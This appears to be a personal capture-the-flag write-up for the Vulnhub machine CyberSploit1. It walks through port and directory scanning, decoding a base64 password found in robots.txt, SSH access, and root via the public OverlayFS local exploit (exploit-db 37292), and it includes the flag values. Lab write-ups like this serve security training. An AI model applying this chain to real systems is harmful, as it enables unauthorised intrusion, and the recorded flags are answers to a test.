CyberSploit1
April 20th 2023
OG Vulnhub box: https://www.vulnhub.com/entry/cybersploit-1,506/
Since target was given I don't have to run netdiscover to find target:
Target is: 192.168.52.92
$ nmap 192.168.52.92 -p- -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-20 17:07 EDT
Nmap scan report for 192.168.52.92
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.31 seconds
Check firefox on 80
This image shows up. Time to check directories and subdirectories. Time to run dirb and subdirwith the former for directories(website.com/page1) and latter for subdirectories such as app.website.com
???(kali?kali)-[~]
??$ dirb http://192.168.52.92
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Apr 20 21:19:08 2023
URL_BASE: http://192.168.52.92/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.52.92/ ----
+ http://192.168.52.92/cgi-bin/ (CODE:403|SIZE:289)
+ http://192.168.52.92/hacker (CODE:200|SIZE:3757743)
+ http://192.168.52.92/index (CODE:200|SIZE:2333)
+ http://192.168.52.92/index.html (CODE:200|SIZE:2333)
+ http://192.168.52.92/robots (CODE:200|SIZE:53)
+ http://192.168.52.92/robots.txt (CODE:200|SIZE:53)
+ http://192.168.52.92/server-status (CODE:403|SIZE:294)
-----------------
END_TIME: Thu Apr 20 21:19:12 2023
DOWNLOADED: 4612 - FOUND: 7
Saw robots.txt so going there and I find a base64 looking string
Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
AI decoding with cyberchef verification yields
The text you provided appears to be a Base64 encoded string. Let me decode it for you:
"Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0="
Decoded result: "cybersploit{youtube.com/c/cybersploit}"
It seems to be a URL for a YouTube channel named "cybersploit".
Checking page source code also nets the user itsskv
Try logging into ssh now with the username and the base64 password
ls in . and see flag2.txt but after a cat the flag is another file. Checking out local.txt I find a string of text which I submit as the flag and get the first 50%.
Now for root.
Checking the OS version first
itsskv@cybersploit-CTF:~$ uname -a
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
itsskv@cybersploit-CTF:~$ cat /etc/issue
Ubuntu 12.04.5 LTS \n \l
itsskv@cybersploit-CTF:~$
Now to check for local exploits on Ubuntu 12.04.5 LTS on exploitdb
https://www.exploit-db.com/exploits/37292
Now downloading one of the exploits for local. Will use the overlayFS one as it's the "latest" one
???(kali?kali)-[~]
??$ scp 37292.c itsskv@192.168.52.92:/home/itsskv
itsskv@192.168.52.92's password:
37292.c
Now the c exploit is on the target machine for a local privesc
itsskv@cybersploit-CTF:~$ ls
37292.c Downloads local.txt Public
Desktop examples.desktop Music Templates
Documents flag2.txt Pictures Videos
itsskv@cybersploit-CTF:~$
Now time to compile the c code then run the program
itsskv@cybersploit-CTF:~$ gcc 37292.c
itsskv@cybersploit-CTF:~$ ./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
#
cool.
Opportunity to upgrade shell to a more stable one here. Use shell upgrade commands.
Now to look through root's files
# ls
37292.c Downloads Public a.out local.txt
Desktop Music Templates examples.desktop
Documents Pictures Videos flag2.txt
# cd /
# ls
bin home media run tmp
boot initrd.img mnt sbin usr
cdrom initrd.img.old opt selinux var
dev lib proc srv vmlinuz
etc lost+found root sys vmlinuz.old
# cd root
# ls
Desktop Downloads Pictures Templates finalflag.txt
Documents Music Public Videos proof.txt
# cat finalflag.txt
Your flag is in another file...
# cat proof.txt
f2cb93ee2456de2ec462b74e2f5620b8
And Boot2Root 🐱💻